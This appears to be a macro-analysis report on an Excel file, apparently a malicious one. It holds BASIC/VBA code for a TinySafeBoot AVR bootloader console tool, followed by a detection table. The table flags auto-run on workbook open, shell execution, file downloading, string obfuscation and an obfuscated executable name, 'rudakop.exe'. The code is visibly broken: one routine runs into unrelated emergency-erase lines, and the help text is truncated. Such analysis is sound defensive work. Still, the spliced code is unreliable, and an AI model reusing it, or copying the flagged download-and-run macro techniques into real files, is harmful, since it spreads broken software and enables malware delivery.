 Print "SIGNATURE : "; WHex(SIG000, 2); " "; WHex(SIG001, 2); " "; WHex(SIG002, 2)
 Print "DEVICE : "; SignatureToDevicename(SIG000, SIG001, SIG002)
 Print "FLASH : "; FLASHSIZE
 Print "APPFLASH : "; APPFLASH
 Print "PAGESIZE : "; PAGESIZE
 Print "EEPROM : "; EEPROMSIZE
 Print "APPJUMP : "; WHex(APPJUMP, 4)
 Print "TIMEOUT : "; TIMEOUT
 Print
End Sub
Sub TSBChecksum()
Dim i As ushort
Dim j As ushort
MakeMode:
AAAA = 0
ADDR = 0
astr = LCase$(astr)
Filename = astr
Print
If DatasToArray(Filename) Then
 Print "Sorry, this Device is not in the database yet.": Print
 GoTo GError
End If
If DatasToPortMatrix(Filename) Then
 Print "Matrix error.": Print
 GoTo GError
End If
If AAAA < 250 Then GoTo GError
If Len(Command$(2)) <> 4 Then GoTo GError
If Command$(3) = "" Then
 Filename = "tsb_" + astr + "_" + _
 LCase$(Command$(2)) + "_" + FWnumber$() + ".hex"
 Else: Filename = Command$(3)
End If
astr = UCase$(Command$(2))
a = Asc(Mid$(astr, 1, 1)): If a < 65 Or a > 71 Then GoTo GError
a = a - 65
b = Val(Mid$(astr, 2, 1))
If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
RXTXPB(0, 0) = DEVPORTS(a) + 0 + b
RXTXPB(1, 0) = DEVPORTS(a) + 8 + b
RXTXPB(2, 0) = DEVPORTS(a) + 16 + b
a = Asc(Mid$(astr, 3, 1)): If a < 65 Or a > 71 Then GoTo GError
a = a - 65
b = Val(Mid$(astr, 4, 1))
If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
RXTXPB(0, 1) = DEVPORTS(a) + 0 + b
RXTXPB(1, 1) = DEVPORTS(a) + 8 + b
RXTXPB(2, 1) = DEVPORTS(a) + 16 + b
Print "Make TSB from code template: "; Filename
Print
Print "RXD = P"; Mid$(astr, 1, 2); " / TXD = P"; Mid$(astr, 3, 2)
Print
Do Until ADDR >= AAAA
 Select Case BINARRAY(ADDR + 1)
 Case &H98, &H99, &H9A, &H9B
 select case (BINARRAY (ADDR+0) And &b00000111)
 Case 0
 select case (BINARRAY (ADDR+0) And &b11111000)
 Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 0)
 Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 0)
 Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 0)
 End Select
 Case 1
 select case (BINARRAY (ADDR+0) And &b11111000)
 Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 1)
 Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 1)
 Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 1)
 End Select
 End Select
 End Select
 ADDR = ADDR + 2
 Print Chr$(13); "Modifying reference code $"; WHex(ADDR, 4); " ... ";
Loop
Print "OK"
Print
TSBchecksum()
SaveFromArray()
Print "Saved TSB firmware file: "; Filename
Err = 0
End
EEPROMread:
If ActivateTSB(Comport) <> 0 Then GoTo GError
ADDR = 0
SendCommand ("e")
Do
 SendCommand (CONFIRM)
 astr = RXBuffer()
 If Len(astr) < PAGESIZE Then GoTo GError
 For i = 1 To PAGESIZE
 BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
 Print Chr$(13); "EEPROM READ $"; WHex(ADDR, 3); " ... ";
 ADDR = ADDR + 1
 Next
Loop Until ADDR = EEPROMSIZE
Print "OK"
AAAA = EEPROMSIZE : SaveFromArray()
Print
GoTo Finished
EEPROMerase:
If ActivateTSB(Comport) <> 0 Then GoTo GError
Print "EEPROM ERASE ... ";
ADDR = 0
SendCommand ("E")
Do Until (RXBuffer <> REQUEST) Or ADDR = EEPROMSIZE
 SendCommand (CONFIRM)
 astr = String$(PAGESIZE, Chr$(255))
 SendCommand (astr)
 ADDR = ADDR + PAGESIZE
Loop
SendCommand (REQUEST)
If RXBuffer <> CONFIRM Then GoTo GError
Print "OK"
GoTo Finished
EEPROMwrite:
If LoadToArray <> 0 Then GoTo GError
If ActivateTSB(Comport) <> 0 Then GoTo GError
If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
ADDR = 0
AAAA = (((AAAA - 1) \ PAGESIZE) + 1) * PAGESIZE
SendCommand ("E")
Do Until (RXBuffer <> REQUEST) Or ADDR = AAAA
 SendCommand (CONFIRM)
 astr = ""
 For i = 1 To PAGESIZE
 astr = astr + Chr$(BINARRAY(ADDR))
 ADDR = ADDR + 1
 Next i
 SendCommand (astr)
 Print Chr$(13); "EEPROM WRITE $"; WHex(ADDR - 1, 3); " ... ";
Loop
SendCommand (REQUEST)
If RXBuffer <> CONFIRM Then GoTo GError
Print "OK"
GoTo Finished
EEPROMverify:
If ActivateTSB(Comport) <> 0 Then GoTo GError
If LoadToArray <> 0 Then GoTo GError
If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
ADDR = 0
SendCommand ("e")
Do
 SendCommand (CONFIRM)
 astr = RXBuffer
 If Len(astr) < PAGESIZE Then GoTo GError
 For i = 1 To PAGESIZE
 Print Chr$(13); "EEPROM VERIFY $"; WHex(ADDR, 3); " ... ";
 If BINARRAY(ADDR) <> Asc(Mid$(astr, i, 1)) Then Exit Do
 ADDR = ADDR + 1
 Next i
Loop Until ADDR = EEPROMSIZE
If ADDR = EEPROMSIZE Or Right$(astr, 1) = CONFIRM Then
 Print "OK"
 Else
 Beep
 Print "--- ERROR! ---"
End If
GoTo Finished
FLASHread:
If ActivateTSB(Comport) <> 0 Then GoTo GError
ADDR = 0
AAAA = APPFLASH
SendCommand ("f")
Do
 SendCommand (CONFIRM)
 astr = RXBuffer
 If Len(astr) < PAGESIZE Then GoTo GError
 For i = 1 To PAGESIZE
 BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
 ADDR = ADDR + 1
 Next i
 Print Chr$(13); "FLASH READ $"; WHex(ADDR - 1, 4); " ... ";
Loop Until ADDR = APPFLASH
Print "OK"
Print
Do Until (Asc(Mid$(bstr, i + 1, 1)) < 255) Or (i > 255)
 i = i + 1
Loop
If i <> 32 And i <> 64 And i <> 128 Then GoTo GError
Print "Emergency Erase successfull! TSB restored to defaults."
GoTo Finished
HelpScreen:
Print "-------------------------------------------------------------------------------"
Print "Console Tool for TinySafeBoot, the tiny and safe AVR bootloader SW:";
Print ""
End
Licensenote:
Print
Print "TSB - Console Tool for TinySafeBoot, the tiny and safe AVR bootloader"
Print
End
GError:
Close
Print: Print "ERROR."
Print
End
Finished:
DeactivateTSB
Print
Close
Err = 0
End








+------------+----------------------+-----------------------------------------+
| Type       | Keyword              | Description                             |
+------------+----------------------+-----------------------------------------+
| AutoExec   | Workbook_Open        | Runs when the Excel Workbook is opened  |
| Suspicious | Open                 | May open a file                         |
| Suspicious | Shell                | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | WScript.Shell        | May run an executable file or a system  |
|            |                      | command                                 |
| Suspicious | Windows              | May enumerate application windows (if   |
|            |                      | combined with Shell.Application object) |
| Suspicious | Shell.Application    | May run an application (if combined     |
|            |                      | with CreateObject)                      |
| Suspicious | Binary               | May read or write a binary file (if     |
|            |                      | combined with Open)                     |
| Suspicious | CreateObject         | May create an OLE object                |
| Suspicious | DownloadFile         | May download files from the Internet    |
|            |                      | using PowerShell                        |
| Suspicious | Chr                  | May attempt to obfuscate specific       |
|            |                      | strings                                 |
| Suspicious | Write                | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | Print #              | May write to a file (if combined with   |
|            |                      | Open)                                   |
| Suspicious | URLDownloadToFileA   | May download files from the Internet    |
| Suspicious | Lib                  | May run code from a DLL                 |
| Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
|            |                      | be used to obfuscate strings (option    |
|            |                      | --decode to see all)                    |
| Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
|            | Strings              | may be used to obfuscate strings        |
|            |                      | (option --decode to see all)            |
| IOC        | rudakop.exe          | Executable file name (obfuscation: VBA  |
|            |                      | expression)                             |
| VBA string | \rudakop.exe         | "\" + "rudakop" + Chr(46) + "e" + "" +  |
|            |                      | "" + "" + "xe"                          |
| VBA string |
                    | Chr$(13)                                |
+------------+----------------------+-----------------------------------------+